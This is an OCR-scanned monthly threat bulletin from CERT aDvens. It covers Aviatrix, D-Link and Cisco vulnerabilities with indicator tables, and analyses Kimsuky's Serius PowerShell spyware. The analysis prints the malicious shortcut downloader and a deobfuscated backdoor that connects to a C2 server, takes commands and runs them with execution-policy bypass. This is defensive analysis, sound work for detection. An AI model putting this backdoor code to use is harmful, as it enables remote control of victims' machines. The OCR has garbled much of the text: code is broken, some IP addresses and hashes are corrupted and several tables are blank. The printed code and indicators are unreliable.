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1. EXECUTIVE SUMMARY
This month, the CERT aDvens provides an overview of emerging threats and critical vulnerabilities to monitor:
- Three vulnerabilities, in addition to those already published,
= Anin-depth analysis of the Serius spyware, used by the North Korean APT group KIMSUKY,
- An overview of recent campaigns leveraging fake CAPTCHAs to deploy malicious implants.
These critical insights highlight the importance of staying vigilant and strengthening your cybersecurity posture.
agovens
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2. VULNERABILITIES

2.1. Aviatrix - CVE-2024-50603

Microsoft Azure or Google Cloud Platform.

The CVE-2024-50603 was exploited to deploy the XMRig cryptojacker and the Sliver backdoor.

Exploited
EPSS Remote Gode execution POC

10 I

CRITICAL

sending specifically crafted requests to the product’s API.

2.1.1. Type of vulnerability

- CWE-78 : Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection’)

2.1.2. Risk

> Remote code execution

2.1.3. Severity (base score CVSS 3.1)

2.1.4. Impacted Products

- Aviatrix Controller versions prior to 7.1.4191 et 7.2.4996

2.1.5. Recommendations

Update Aviatrix Controller to version 7.1.4191, 7.2.4996 or later.

Additional information is available in Aviatrix’s advisory.

2.1.6. Proof of concept

A proof of concept is available in open source.

aovens

On 10 January 2025, security researchers from Wiz Security reported the exploitation of this vulnerability affecting Aviatrix
Controller in their blog. Many companies use this controller to manage their cloud networks, through Amazon Web Service,

A flaw in the handling of user-sent data in Aviatrix Controller allows an unauthenticated attacker to execute arbitrary code by
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2.1.7.10Cs

TLP TYPE VALUE COMMENT

TLP:CLEAR IP:Port 91.193.19[.]1109[:]13333 Sliver C2 server IP address

TLP:CLEAR IP:Port 107.172.43[.]186[:13939 Cryptocurrency mining pool IP

address

TLP:CLEAR IP 83.222.191[.]91 Mirai C2 server IP address

TLP:CLEAR IP 91.188.254[.]21 Mirai C2 server IP address

TLP:CLEAR SHA1 1ce0c293f2042b677cd55a393 [XMRig (SHA1)
913ec052eded4b9

TLP:CLEAR SHA1 68d88d1918676c87dcd39c758 | XMRig (SHA1)
1c3910a9eb94882

TLP:CLEAR SHA1 c4f63a3a6cb6b8aae133bd4cs (XMRig (SHA1)
ac6f2fc9020c349

TLP:CLEAR SHA1 c63f646edfddb4232afa5618e3 [ XMRig (SHA1)
fac4eee1b4b115

TLP:CLEAR SHA1 e€10e750115bf2ae29a8ce8f9fa |Sliver (SHA1)
14e09e66534a15

TLP:CLEAR SHA1 41d589a077038048c4b120494 |Sliver (SHA1)
719¢c905e71485ba

TLP:CLEAR Regex /tmp/systemd-private-[0-9a- |XMRig (Path)
fl{32}-apache2.service-[0-9a-
zZA-
Z{6}/tmp/.system_logs/momik
a233-2024-04-29-xmrig.zip

TLP:CLEAR Regex /tmp/systemd-private-[0-9a- |XMRig (Path)
fl{32}-apache2.service-[0-9a-
zZA-
Z){6}tmp/moneroocean/xmrig

TLP:CLEAR Regex /tmp/systemd-private-[0-9a- |XMRig (Path)
fl{32}-apache2.service-[0-9a-
zA-Z[{6}/tmp/.uid/udiskssd

TLP:CLEAR Regex /tmp/systemd-private-[0-9a-  |Sliver (path)
fl{32}-apache2.service-[0-9a-
zA-Z{6}/tmp/config

agovens
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2.2. D-Link - CVE-2024-57678

Data leak

0.04 % 9 8
[ ]

CRITICAL

confidentiality, integrity, and availability of data by sending specifically crafted POST requests.

2.2.1. Type of vulnerability

> CWE-284 : Improper Access Control

2.2.2. Risk

- Data leak
- Data integrity breach

- Denial of service

2.2.3. Severity (base score CVSS 3.1)

2.2.4. Impacted Products

-~ Wireless D-Link 816A2 router firmware version FWv1.10CNB05_R1B011D88210

2.2.5. Recommendations

No fix or workaround is currently available.

Itis recommended to monitor and log POST requests to the form2WIAc.cgi resource.

2.2.6. Proof of concept

A proof of concept is available in open source.

aovens

An access control flaw in the form2WIAc.cgi component of D-Link 816A2 routers allows an unauthenticated attacker to affect the
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2.3. Cisco - CVE-2024-20156

Privilege escalation

0.06 % 9 9
[}

CRITICAL

privileges by sending specifically crafted APl requests.
2.3.1. Type of vulnerability

> CWE-274 : Improper Handling of Insufficient Privileges
2.3.2. Risk

- Privilege escalation

2.3.3. Severity (base score CVSS 3.1)

2.3.4. Impacted Products

Cisco Meeting Management :

- Version 3.8 and prior
- Version 3.9

2.3.5. Recommendations

Update Cisco Meeting Management to versions 3.9.1, 3.10 or later.

Additional information is available in Cisco’s advisory.

2.3.6. Proof of concept

Currently, no proof of concept is available in open sources.

aovens

A privilege management flaw in the Cisco Meeting Management REST API allows an authenticated attacker to gain administrative
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3. CYBER-VIROLOGY: ANALYSIS OF SERIUS
SPYWARE (APT KIMSUKY)

3.1. Description

Serius is a malware employed in a cyber-espionage campaign by the APT Kimsuky group targeting South Korea. This Trojan
functions as both a backdoor and spyware, designed to monitor and harvest sensitive information from infected systems.

Samples were identified in December 2024, and have since been the subject of several reports.

Written in PowerShell, Serius is specifically designed to target Windows systems. Its key functions include communicating with a
command and control (C&C) server, retrieving and exfiltrating application-related data, and deploying additional malware.

An earlier version, nicknamed Seriane, was discovered in September 2024. This first version is virtually identical to Serius, with
the notable exception of the hardcoded CnC server address.

3.2. Features

COMMUNICATION EVASION

Serius can communicate with a CnC server
via the TCP protocol. The IP address used
by the attackers is hardcoded.

Serius uses several obfuscation
techniques: code fragmented into 4
blocks, base64 encoding and reverse
characters.

SPYWARE

It can steal and exfiltrate information from
the infected system. For example, Serius
can retrieve information related to
applications installed on the system.

MUTEX

Serius checks for the presence of a
mutex to determine if the system is
already infected and whether it is
necessary to continue the infection.

LIVING OFF THE LAND DOWNLOADER
Living Off The land (LOTL) : Attackers After establishing communication with
exploit legitimate tools and the CnC server, Serius can download
technologies already present on the additional malware.

system, such as PowerShell.

Figure 1. Main features of Serius.

3.3. Victimology

Targeted countries Targeted sectors
7\
D \
N 2
‘\\\ ’I,' \\\ |
South Korea Financial

Govens
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3.4. Infectiology

The infection chain outlined below has been reconstructed based on various analyses and publicly available reports. It is not
exhaustive, and some elements remain unknown

APT KIMSUKY

The attackers carry out
reconnaissance.

Phishing emails are distributed. They contain
a shortcut file (Trojan horse downloader).

CnC server
206.206.127.152
The shortcut file downloads from a CnC server a
compressed archive named t.zip (Trojan horse
dropper).

After downloading the archive, the shortcut also
contains instructions for unpacking the archive and
running its contents.

A first VBS script is executed: it deploys an Office
document (decoy) for deception. It also establishes

A second VBS script is triggered: it the persistence of Serius.

executes the Serius which is hidden
in a temporary file.

Decoy

CnC server
206.206.127.152

- The Serius spyware is executed: it
¢ > b o communicates with the CnC server
< / > and exfiltrates information.

SERIUS

Figure 2. The seven main stages of infection.

aovens
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3.5. Code analysis
3.5.1. Shortcut (Trojan Downloader)
> Sample: f3aee5924279dd1883efbb04c89166368e954b7e81483507dc032561bb2cf6e.lnk
> SHA256: f3aee5924279dd1883efbb04c89166368e954b7e81483507dc032561bb2cf6e1
> SHA1: 9bf20b294287aaa0ac4401e8f0e6bcdb6243fafb
> MD5: 2b8287656ba39515fb08cb3711db5291
- Virology: Trojan horse
= Virology type: Downloader
Below is the content of the shortcut:
F .Zfy) I #2Ay); P.O .:i.+400./C\.V.1l. +YHCW ndows. @ T, *+YHC. Sy. Wi.n.d.o.w s. Z. 1. +YVDSyst enB2B.
T,*+YbD'[0ob4.S.y.s.t.e.m3.2.\.2.0WU . nshta. exe.D.
.OWU X\3F.R ms.h.t.a.e.x.e.R 3.Q ", System C:\ Wndows\ Syst enB2\ nshta. exe& \.\.\.\.Wi.n.d.o.ws.\.S.y.s.t.e.m
3.2.\.ms.h.t.a.e.x.e.0.C:.\.Wi.n. d o w.s.\.S.y.s.t.e.m3.2H 9?v:.NN. 2./.3+A B_.]2. w?p?>! . YV.;.n.
.0j.a.v.a.s.c.r.i.p.t.:. =“()) $rReadL| ne.(.).;.$.b.=[.Co.n.".+.".v.e.r.t.].:.:.F.r.oom
.B.a.s.e.6.".;.f.=.".S.tream"' Xx.=.".a.=.n.e.
LAc" . "tli.v.e. X Oboj.ecot. (L] S Lreipat. "tSheI I.".).;.aaR".+.".u.n.(.c.,.0.,.0.).;.c.l.0.s.
e.(.).;.".;.a.=".S. y s.t.eeml.O" .+.f.,. =", .-.P.a.t.h. .$t. .-.".;.n.=".Ne.w-.0b.j.e.c.t.
S.y.s t.e.m"., u. c.:.\.\.p.r.o.g.r.amd.a.t.a.".;.c.=.".p.oowe.r.".+".s.h.e.l.1. .-.e.p.
b.y.p.a.".+.".s.s. .-.c.
$or.=t 206206127152' .$.p.="'.9.0.2.7." ;. $r.=".+.n.+". 1.0". +.f.+.". Re.a.der.(.(.".+.n. +
".Net.Soc.ket.s.T.c.p.Cl. ent($r
.$.p.).).Ge. t.". 4 f.+ b+ " 4 S.t.r.l.n g.(.$.z.).;.$.t.=.'.".+.u "N\.t.z.i.p.'.;. S e.t.-
.C.o.n.t.e.n.t. .+ t.+". V. .$.b. .-.Enc.odi.ng .By.t.e;.Ex pand.-.A.rchl v.e.".+.t.+.".D
oHua+ " .doel . .$.t pLeve= L "V us.vebos 'L &S$. v os.c. L AU+ "N\ .Nn.9.3.0.9.
4" eeveal.(.x.).;.doc.x.%wWNDQ.X 14 g2itl@@/.&.9.X.<W@@/.&.g. X}.<W1.
Y18PSOOGSf“=dSySt.e.m3.2.(.C.:.\.Wi.n.d.o .S. ). 1SPSXF. L8C& mnB. -.1.-.5. - 21-.8.7.6.3.7.3.6.8.6.-
.1.6.7.1.2.7.8.1.5.1.-.1.9.4.3.3.8.6.7.5.3.-.1.0.0.2.1SPS0. % "% .ms.h.t.a.e.x.e@.).
\@y)i.1SPS.jc(==O M. :.\.Wi.n.d.o.ws.\.S.y.s.t.eem3.2.\.ms.h.t.a.e.x.e.9. 1SPSnDpH H@:x hHh. Es. T.
An IP address is identified: 206.206.127[.]152, and the port 9027. This IP address is known to be used by APT Kimsuky
.s.s. .-.c. .$r.='.2.0.6.2.0.6.1.2.7.1.5.2."'.;.%$.p.=.'.9.0.2.7.' .;
This shortcut is a Trojan downloader: it downloads from the CnC server (206.206.127[.]1152) a compressed archive: t.zip.
.Ge.t.". +.f. b+ "4 S t.r.i.ng.(.$2z).;.$t.=" " +u+t". \.\.t.z.i.p.
When the archive is downloaded, artifacts are unpacked, one of them is executed: s.vbs.
$.v.=".". +u+".\.\.s.v.b.s.
To avoid leaving any trace, the archive t.zip is deleted (the variable $t corresponds to the archive).
.d.e.l. .$.t
3.5.2. t.zip archive (Trojan Dropper)
Open source analyses show that the t.zip archive deploys several artifacts, including two VBS scripts and a temporary file. The
first VBS script ensures the persistence of the Serius malware and deploys an Office document (decoy), used as a lure to deceive
the user. The second VBS script executes the PowerShell code (Serius) hidden in the temporary file.
agovens
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3.5.3. Serius (Spyware)
> Sample filename: aa.ps1 (aka Serius)
> SHA256: 6544f0416e12d5876861349e1e66f4c97d72dadfb029baeebb00ab99608dfba7
> SHA1:e8c7065344a27971655a561b4dae7203e094e56¢
> MD5: 5f93fdb1e3dfe4f8ccd4e22ef8a22b14
- Virology: Trojan horse
- Virology type: Backdoor and spyware

Below is the content of the Serius sample:
$degi =" ZWZ3hWIpNmbz VXTk ACdv5W.0Ai ZpBCl gACI gACI KOgCNQUS2V2YuZ\WZz RCl sc SZzxWYndCl ONXaMRnbl 1WInJXQX ACel RXdN5Sy Zul G
ZhVintoR! Lt VGdzl 3UgQBYI pmyPlydl 5EI 9ACenV2doVXaj 52¢c11EJgACI gACI gAi CNsHI gACH KOQey RHI gACI KOgCNKCl gAC! KOARIZXZj 5nZ
I NHIg01Zul nc ON3WII SZ1JHdk ASPgkncvRXYK5WYNhi ¢l RXZt FnthB3WJACI goQDoOWYy FGcgACl goQD7 pQDkdXZu9GZ4RVANBI bvl Gdj 5\Wm
pQDKOgl yMDMBI Cl 9AyYi JGd1l HIKOgl yUTMucj Mk4i N j L2A] M ASPggXZuNWbuVHI" ;
$rux49=%$degi . ToChar Array() ;
[array] :: Reverse($rux49);
$j 1 o= -j oi n($rux49);
$kot a=" mbmv2ck ACRIZXZj 5nZl NXLgQdIl 52bkhHV11El uJXdOVntgACl gACI gAi CNQUS2V2YuZWZz RCl scSZzxWYndCl ONXaMRnbl 1WinJXQ
t ACel RXdN5y Zul GZhVircoRI Lt VGdz1 3Ug@YIl pmyPlydl 5EI 9ACenV2doVXaj 52c11EJgACI gACI gAi CNsHI gACI KOAI d52bpRHcl NGeFhXZ0
VXTkVimbvRrbhJWucmbpRWYI JHaU5Shl R3c5N1Wjg2YOF2YgAC goQDgOHI gACI KOAenV2doVXaj 52c11EJg4nt 1RXZy BCl gACI gACI KOgCNO
HI gACl gACl goQD7QXa4VEI gACl gACl gACl gAi CNsHI gACI gACl goQDpk CMwA] MoUnbPRXahd! L4" ;
$xya89=$kot a. ToChar Array() ;
[array] :: Reverse($xya89);
$gov= -j oi n($xya89);
$egi k=" Uu8USUOWZONXe TBCdj Vimai 9UL3VmMIgOoDI yVGdpJ3dkkgCNk SbhVimc ONFcj RHIol XZk FWZS1WYl JHd TS5y TI5Shl R3c5NFI ONWZQJ 2Tt
CXZOBSPgl XZk FWZy RSCKOQKOOWY! JHITRXZH5i bv| Gdj Virbu92QMNGAk ASPgOWY! JHITB3YORSCKOQK] JmYOVXek ACL4AVibj 1mb1RCKO5WZpx
2QMNGVUMAdI t 2YVNI LOVMTuOWZONXe TBCdj Vimai 9UL3Vnirg0Dl u9VA0ONWZu52bDB3 YORSCKOAI gAC! 7pQDpUWy RHIoUGhph2dKOgCNc CN51 D
Qz| 1YTdC El kdl NmbnVv2ct ACZ3Vimbv RGe UVXTgODI 4ZWZ3hWipNibz VXTk o QDKOQY KOQX gACI goQDE! kdl N';
$wze05=%$egi k. ToChar Array() ;
[array]:: Reverse($wze05);
$ngs= -j oi n($wze05) ;
$syenr" 9pQD7kCMygCcl VGO TBCI gAi CNOHI gACI KOWO6BXbORCI s VGZgACI gACI gAi CNsj ewlGdkAi Zt AyczFGec5JG wWW.gwGbl h2cyV2dvB
HI gACl gACl goQDgACI gACI gAi CNoHct RHIgUGhpZULOV3TgwHI k12YkACI gASCKOg! x MHcul zcwlGdc FGdhRWhhJ3ZvJHccpzYi ASPgoHct RH
JgAC! gkgCNsHI gACI KOQKWASZU1Cl 0R3ZUVGTUQWj RCKM Gl gACI KOQKoUmbpx EZhVimul XZk FWZy RCl 9ACZt NGJJ 0 QDKOQZ1J Hdk ASPgg2c
1xnRvRXdB5i ¢l RXaydHJJoQDpOWYI JHdTB3YORCKy VGdpJ 3Vt FWZy R3" ;
$yac79=$syem ToChar Array() ;
[array]:: Reverse($yac79);
$uwx= -j oi n($yac79);
$gi | 0=$j | o+$gov+$nys+uwx;
$bytes = [Convert]:: FronBase64String($gilo);
$res = -join ($bytes -as [char[]]);
I nvoke- Expr essi on $res;

The malicious code is split into four base64-encoded segments, with the characters reversed in each segment. These segments

are assigned the following variables: $degi, $kota, $egik and $syem.

For example, the second segment is below:
$kot a=" mbmvV2ck ACRIZXZj 5nZl NXLgQdIl 52bkhHV11El uJXdOVntgACl gACI gAi CNQUS2V2YuZWZz RCl scSZzxWYndCl ONXaMRnbl
IWINJIXQ ACel RXdN5y Zul GZhVntoRl Lt VGdzl 3Ug@Y!I pmYPlydl 5EI 9ACenV2doVXaj 52c11EJgACI gACI gAi CNsHI gACI KOAI d52
bpRHcI NGeFhXZ0OVXTk Vimbv RmbhJWQucmbpRWYI JHaU5Sbl R3c5N1Wjg2YOF2YgACI goQDgOHI gACI KOAemvV2doVXaj 52c11EJg4ntl
RXZyBCl gACl gACl KOgCNOHI gACI gACl goQD7QXa4VEI gACI gACl gACl gAi CNsHI gACI gACl goQDpk CMwA] MoUnbPRXahdl L4" ;

Each segmentis accompanied by the [array]::Reverse instruction:
[array] :: Reverse($xya89);

agovens
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Below is the second segment rewritten in its correct order:

4L dhaXRPbnmJoM AwMCkpDQogl CAgl CAgl HsNCi Agl CAgl CAgl CAgl EV4aXQ7DQogl CAgl CAgl HONCgOKI CAgl CAgl CByZXR1cnmigJE11c25) aX
Vod2VneAOKI CAgl HOgDQogl CAgY2F0Y2ggWLN5c 3R bS5UaHIl YWRpbnt uQA hbnRvbmivk TXVO0ZXhFeGNI cHRpb25dI AOKI CAgl HsNCi Agl CAgll
CAgJE11c25j aXVod2VmeCA9I E51 dy 1PYnpl Y3QyU3I zdGVt LI RocmivhZd uZy5NdXR eCAt QXIndWLl bnRVRXNOI CdmyWkzZScs| CRzZWZuY2V2
SUQNCI Agl CAgl CAgemVOdXJul E11VHhkb251 d2QgLXN Znbj ZXZIRCAkc2Vimbm

When executed, correctly rearranges its four code segments, which are then put back together using the following
commands:

[array]:: Reverse($rux49);
.[é.rray] :: Rever se($xya89) ;
.[.a.rray] :: Reverse($wze05) ;
.[;ellrray] :: Reverse($yac79);

$g| | 0=$j | o+$gov+$nys+Suwx;

The resultis below:

JHVUbWNUZXggPSAI M A2Lj | whi 4xM cuMTUyl gOKJH 1dGJi Yy A9l Cl 3MDMWy | gOKDQunWbj dG vbi BNdVR4ZGIuZXdk DQp7DQogl CAge GRy YWD
oDQogl CAgWBBhc it ZXRI ci hNYWBk YXRvcnkgPSAkdHI1ZS! dVBNOcm uZ10gJHNI Znbj ZXZJRAOKI CAgl CkNCgOKI CAgl HRyeQOKI CAgl Hs NCi

Agl CAgl CAgJE11c25j aXVod2VimeCA9I E5I| dy1PYnpl Y3QuU3l zdGVvt LI RocmivhZd uZy5NdXR eCAt QXIndWLI bnRVaRXNOI CdmyWkzZScs| CRzZ
WZuY2V2 SUQNCgOKI CAgl CAgl CBpZi AoLWbvdCAKTXVzbnmNpdWh3ZWZ4LI dhaXRPbmuoM AwMCkpDQogl CAgl CAgl HsNCi Agl CAgl CAgl CAgl EV4
axXQ7DQogl CAgl CAgl HONCgOKI CAgl CAgl CByZXR1lcmigJE11c25] aXVod2Vimre AOKI CAgl HOgDQogl CAgY2F0Y2ggWLN5¢c 3Rl bS5UaHI| YWRpbnt
uQN hbnRvbmVk TXV0ZXhFeGNI cHRpb25d1 AOKI CAgl HsNCi Agl CAgl CAgJE11c25j aXVod2VneCA9Il E5| dy 1PYnpl Y3QU3I zdGVt LI RocnVhZG
| uZy5NdXRl eCAt QXJndWLl bnRVAXNOI CdmYWkz ZScs| CRzZWZuY2V2SUONCI Agl CAgl CAgemVOdXJul E11VHhkb251 d2QyLXN Znbj ZXZIJRCAkc
2VmbmNl dkI EDQogl CAgf QOKf QOKDQok TXVz bnNpdWh3ZWz4| DOg TXVUe GRvbmvV3ZCAt c2VimbmNI dk1 El CdTY1l zODl 5NCc NCgOKd2hpbGUoJHRy
dWUpDQ71 CAgl AOKCSROY3BDb25uZWN0aVul DOgTmv3LU9i amyvj dCBTeXNOZWOUTmVOL| NvY2t | dHVUVGNW@Rx pZWB0KCR1bmilj bmvV4LCAkeXV
0YmJj KQOKCSROY3BTdHII YW gPSAkdGNW@9ubmVj dd vbi SHZXRTdHI| YW)oKQOKCSRy ZWFk ZXI gPSBOZXct T2JqZWNOI FN5¢3RI bS5JTy5TdH
JI YWLSZWFk ZXI 0JHR] cFNOcmivhbSkNCgkkd3JpdGVy | DOgTmV3LU9i amVj dCBTeXNOZWDuSUBuU3Ry ZWFt V3JpdGVy KCROY3BTdHI | YW)pDQoJJ
HdyaXRl ci 5BdXRvRmx1c2ggPSAkdHI1ZQOKDQoJJGNt ZCA9I CRy ZWFk ZXI uUnVhZEx pbmJoKQOKI CAgl A nKCRj bWQuTGVuZ3Rol CLuZSAWKQOK
| CAgl HsNCgkgl CAgJHRt cHogPSAI YzpccHIvZ3JhbWRhdGFcdGlwezl ucHVKI gOKCSAgI CAk Y21k1 HwgT3VOLUZpbGUgJHRt cHONGI Agl CAgl CA
gDQogl CAgl CAgl HBvd2Vyc2hl bGagLWwW GI5¢cGFzcy At Zi AkdGlwej sNCi Agl CAgl CAgZGVs| CRObXB6ONMKI CAgl HONGI Agl CBTbGVI cCgy MC
k7DQp9

uses the instruction below to deobfuscate its code (it is a long string of numbers):

$bytes = [Convert]:: FronBase64String($gil o)
361171101099911010112032613234504854465048544649505546495350341310361211171169898993261323455485150341310131010
211711099116105111110327711784120100111110101119100131012313103232323211297114971094013103232323291112971149710
910111610111440779711010097116111114121326132361161141171014193911151161141051101039332361151011021109910111873
681310323232324113101310323232321161141211310323232321231310323232323232323236771171151109910511710411910110212
032613278101119457998106101991163283121115116101109468410411410197100105110103467711711610112032456511410311710
910111011676105115116323910297108115101394432361151011021109910111873681310131032323232323232321051023240451101
111163236771171151109910511710411910110212046879710511679110101405048484841411310323232323232323212313103232323
232323232323232326912010511659131032323232323232321251310131032323232323232321141011161171141103236771171151109
910511710411910110212013103232323212532131032323232999711699104329183121115116101109468410411410197100105110103
466598971101001111101011007711711610112069120991011121161051111109332131032323232123131032323232323232323677117
115110991051171041191011021203261327810111945799810610199116328312111511610110946841041141019710010511010346771
171161011203245651141031171091011101167610511511632391029710811510139443236115101102110991011187368131032323232
323232321141011161171141103277117841201001111101011191003245115101102110991011187368323611510110211099101118736
813103232323212513101251310131036771171151109910511710411910110212032613277117841201001111101011191003245115101
102110991011187368323983998251565057523913101310119104105108101403611611411710141131012332323232131093611699112
671111101101019911610511111032613278101119457998106101991163283121115116101109467810111646831119910710111611546
849911267108105101110116403611711010999110101120443236121117116989899411310936116. .
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Serius now uses the following instructions to convert the sequence of numbers to characters and execute it:
$res = -join ($bytes -as [char[]]);
I nvoke- Expr essi on $res;
Below is the malicious code completely reconstructed, deobfuscated and rearranged into the correct order:
$unncnex = "206.206. 127[.] 152"
$yut bbc = "7032"
function MuTxdonewd
{
par an(
[ paranet er (Mandatory = $true)][string] $sefncevlD
)
try
{
$Musnci uhwef x = New Qbj ect System Threadi ng. Mut ex - Argunent Li st 'fal se', $sefncevlD
if (-not $Musnci uhwef x. Wai t One(2000) )
{
Exit;
}
return $Musnci uhwef x
}
catch [ System Thr eadi ng. AbandonedMut exExcepti on]
{
$Musnci uhwef x = New Cbj ect System Threadi ng. Mut ex - ArgunentList 'fal se', $sefncevlD
return MuTxdonewd -sefncevl D $sefncevl D
}
}
$Musnci uhwef x = MuTxdonewd -sef ncevl D ' ScR38294'
whi | e( $true)
{
$t cpConnection = New Obj ect System Net. Sockets. TcpC i ent ($unncnex, $yut bbc)
$t cpStream = $t cpConnecti on. Get Streant()
$reader = New (bj ect System | O StreanReader ($t cpStream
$witer = New Qbj ect System | O StreamWiter($tcpStream
$writer.Aut oFl ush = $true
$cmd = $reader. ReadLi ne()
i f($cnd. Length -ne 0)
{
$tnpz = "c:\prograndata\tnps2. psl”
$cmd | Qut-File $tnpz
power shel | -ep bypass -f $tnpz;
del $tnpz;
}
Sl eep( 20) ;
The first section contains interesting information, the IP address and port of the CnC server:
$unntnex = "206.206.127[.] 152"
$yut bbc = "7032"
agovens
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The second section contains instructions for checking the mutex (probably to check if the system is already infected):

function MuTxdonewd

{
par an(
[ paranet er (Mandatory = $true)][string] $sefncevlD
)
try
{
$Musnci uhwef x = New Cbj ect System Threadi ng. Mut ex - ArgunentLi st 'fal se', $sefncevlD
if (-not $Musnci uhwef x. Wai t One(2000) )
{
Exit;
}
return $Musnci uhwef x
}
catch [ System Threadi ng. AbandonedMut exExcepti on]
{
$Musnci uhwef x = New Obj ect System Threadi ng. Mut ex - ArgunentLi st 'false', $sefncevlD
return MuTxdonewd -sefncevl D $sef ncevl D
}

}
$Musnci uhwef x = MuTxdonewd -sef ncevl D ' ScR38294'

whi | e($true)
{

The third section, Serius attempts to establish a connection with the CnC server (206.206.127[.]1152):

$t cpConnecti on = New Obj ect System Net. Sockets. TcpC i ent ($unntnex, $yut bbc)
$t cpStream = $t cpConnecti on. Get St ream()
$reader = New (bj ect System | O StreanReader ($t cpStream
$writer = New Obj ect System | O StreanWNiter ($tcpStream
$writer.Aut oFl ush = $true
$cnd = $reader. ReadLi ne()
i f($cnd. Length -ne 0)

The fourth section, Serius retrieves information about the infected system:

$tnpz = "c:\prograndata\tnps2. psl”

$cnd | Qut-File $tnpz

power shel | -ep bypass -f $tnpz;
del $tnpz;

To counter the antivirus analysis, Serius goes into sleep mode for a limited time:

Sl eep(20);

Govens
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3.6. Serius viral ecosystem
Serius spyware is not an isolated arsenal, it seems to belong to a complex viral ecosystem.
3.6.1. Taxonomy of malware
To better understand and explore this viral ecosystem, all known malware are assigned names, along with the families to which
they belong.

- Serius is considered version 2.0 of an older malware named Seriane. An analysis report was published in September 2024:
Kimsuky A Gift That Keeps on Giving. The family to which these two varieties belong is Serena.

- During the month of December 2024, Asec’s Ahnlab laboratory publishes the article December 2024 Threat Trend Report on
APT Attacks (South Korea) in which a set of malwares are identified. These pieces of malware are grouped into the family
named Sevia.

3.6.2. Lineage and viral family
Below is a non-exhaustive infographic of the relationships (lineage and family) of the Serius spyware within its viral ecosystem.
Malware Family Malware Family
SERENA SEVIA
. | similarities (techniques, | |
i | | tactics and procedures) | i
B - SR T - o
! ! Seriane and Type A. ! i
1 I
: \/ \./ : ! \J \./ \J \./ i
1 1 I i
; SERIANE ; TYPEA TYPE B :
: September 2024 : ! December 2024 December 2024 '
1 PowerShell Spyware 1 i PowerShell Spyware PowerShell Spyware !
: Variant A (V.1.0) | T |
i CnC: 64.49.14.181 : 7032 !
: I |
\ Viral lineage : l l
: \ !
! ‘ (—.. ) ! Same CnC server: | \,-y | SameCnCserver: | \‘7 |
X ! 206.206.127.152 206.206.127.152
() - (GG
! SERIUS ! RokRAT XenoRAT
! December 2024 et January 2025 1 December 2024 December 2024
i PowerShell Spyware i CnC: 206.206.127.152 CnC: 206.206.127.152
! Variant B (V.2.0) i Embedded and Embedded and
I CnC:206.206.127.152:7032 | deployed by TYPE B. deployed by TYPE B.
Y i e T i e Y e e T e s s e 1
Figure 3. Serius viral ecosystem.
agovens
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3.6.3. Comparison between Serius and Seriane
appears to be deployed during the months of December 2024 and January 2025. However, an older version ( ) was
discovered in the month of September 2024. is very similar to except for the command and control server address.
SERIUS SERIANE
Known sample filename: Known sample filename:
CnC Server (APT Kimsuky): CnC Server (APT Kimsuky):
Port: Port:
Discovery: Discovery:
Analysis: Analysis:
3.6.4. APT KIMSUKY CnC
Multiple analyses have shown that since at least December 2024, the malware variants RokRAT, RokRAT-S0240, and XenoRAT
have been communicating with the IP address 206.206.127[.]152, which is linked to the CnC server of APT Kimsuky.
The figure below represents the relationships between this CnC server and the three malware.
-based-on —
Figure 4. APT Kimsuky CnC server. Source: OpenCTI NetmanagelT.
In-depth study of the viral family confirms that a fourth malicious strain ( ) connects to this same CnC server.
agovens
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APT Kimsuky (aka APT 43, TA406, Thallium, Black Banshee, Velvet Chollima...) is an advanced and persistent threat. It is a state-
sponsored threat group from North Korea.
Fi
oV
%
ATTACKERS
ABILITIES INFRASTRUCTURE
CYBER-ESPIONNAGE
CYBER-EXTORTION
CnC servers, IP addresses,
domains, compromised
Blogs.
TARGET
Targeted countries
South Korea, Japan, Europe, USA, India.
Targeted sectors
Government entities, universities, biomedical research, think tanks, nuclear power,
industry, Ministry of Unification (South Korea), Human Rights Organisation.
agovens
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3.8. Mitre ATT&CK Matrix

RECONNAISSANCE

T1591 Gather Victim Org Information. T1589 Gather Victim Identity Information

RESOURCE DEVELOPMENT

T1587.001 Develop Capabilities: Malware.

INITIAL ACCESS

T1566.001 Spearphishing Attachment. T1566.002 Spearphishing Link.

EXECUTION

T1204 User Execution. T1053 Scheduled Task/Job. T1059.001 Command and Scripting Interpreter: PowerShell.
T1059.005 Command and Scripting Interpreter: Visual Basic.

PERSISTENCE

T1053 Scheduled Task/Job.

PRIVILEGE ESCALATION

T1053 Scheduled Task/Job.

DEFENSE EVASION

T1497 Virtualization / Sandbox Evasion. T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion. T1027.005 Obfuscated Files or
Information. . T1140 Deobfuscate / Decode Files or Information. T1036.007 Masquerading: Double File Extension.

COLLECTION

T1005 Data from Local System. T1119 Automated Collection

COMMAND AND CONTROLU

T1071 Application Layer Protocol.

aovens
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3.9.10C

-

LP

3.9.1. Indicators - Serius

TYPE

VALUE

COMMENTARY

TLP:CLEAR Filename f3aee5924279dd1883efbb04c89166368e954b7e8 | Trojan Downloader
1483507dc032561bb2cf6el.lnk
TLP:CLEAR SHA256 f3aee5924279dd1883efbb04c89166368e954b7e8 | Trojan Downloader
1483507dc032561bb2cf6e1
TLP:CLEAR SHA1 9bf20b294287aaalac4401e8f0e6bc4b6243fafb | Trojan Downloader
TLP:CLEAR MD5 2b8287656ba39515fb08ch3711db5291 Trojan Downloader
TLP:CLEAR Filename aa.ps1 Serius Trojan Backdoor
Spyware
TLP:CLEAR SHA256 6544f0416e12d5876861349e1e66f4c97d72da4fb0|Serius Trojan Backdoor
29baeebb00ab99608dfba7 Spyware
TLP:CLEAR SHA1 e€8c7065344a27971655a561b4dae7203e094e56¢ |Serius Trojan Backdoor
Spyware
TLP:CLEAR MD5 5f93fdb1e3dfed4f8ccd4e22ef8a22b14 Serius Trojan Backdoor
Spyware
TLP:CLEAR IP 206.206.127[.]152 CnC APT KIMSUKY

3.9.2. Indicators - Seriane and more

TLP TYPE VALUE COMMENTARY

MD5 01ff7279011b7af72f6a047121c8f284

TLP:CLEAR MD5 08b4bcee92417560d61c5f29649cdfad

MD5 0c982f544effe346d0a48e6b9d9081c3

TLP:CLEAR MD5 Oceb3d16c8a018943e8¢9143¢194f81b

MD5 1ce2430ff1dd3928cee548b92f769f73

SHA256 41cf6298a41¢27357ee5f70d8cd1c0bd48698fc30c| Upbit_20240916.docx.ln
4255fad6a91798286e5229 k (Trojan)

SHAT 50e4d8a112e4aad2c984d22f83¢80c8723f232da  |Upbit_20240916.docx.In

k (Trojan)
TLP:CLEAR MD5 37fb639a295daa760c739bc21¢553406 Upbit_20240916.docx.In
k (Trojan)

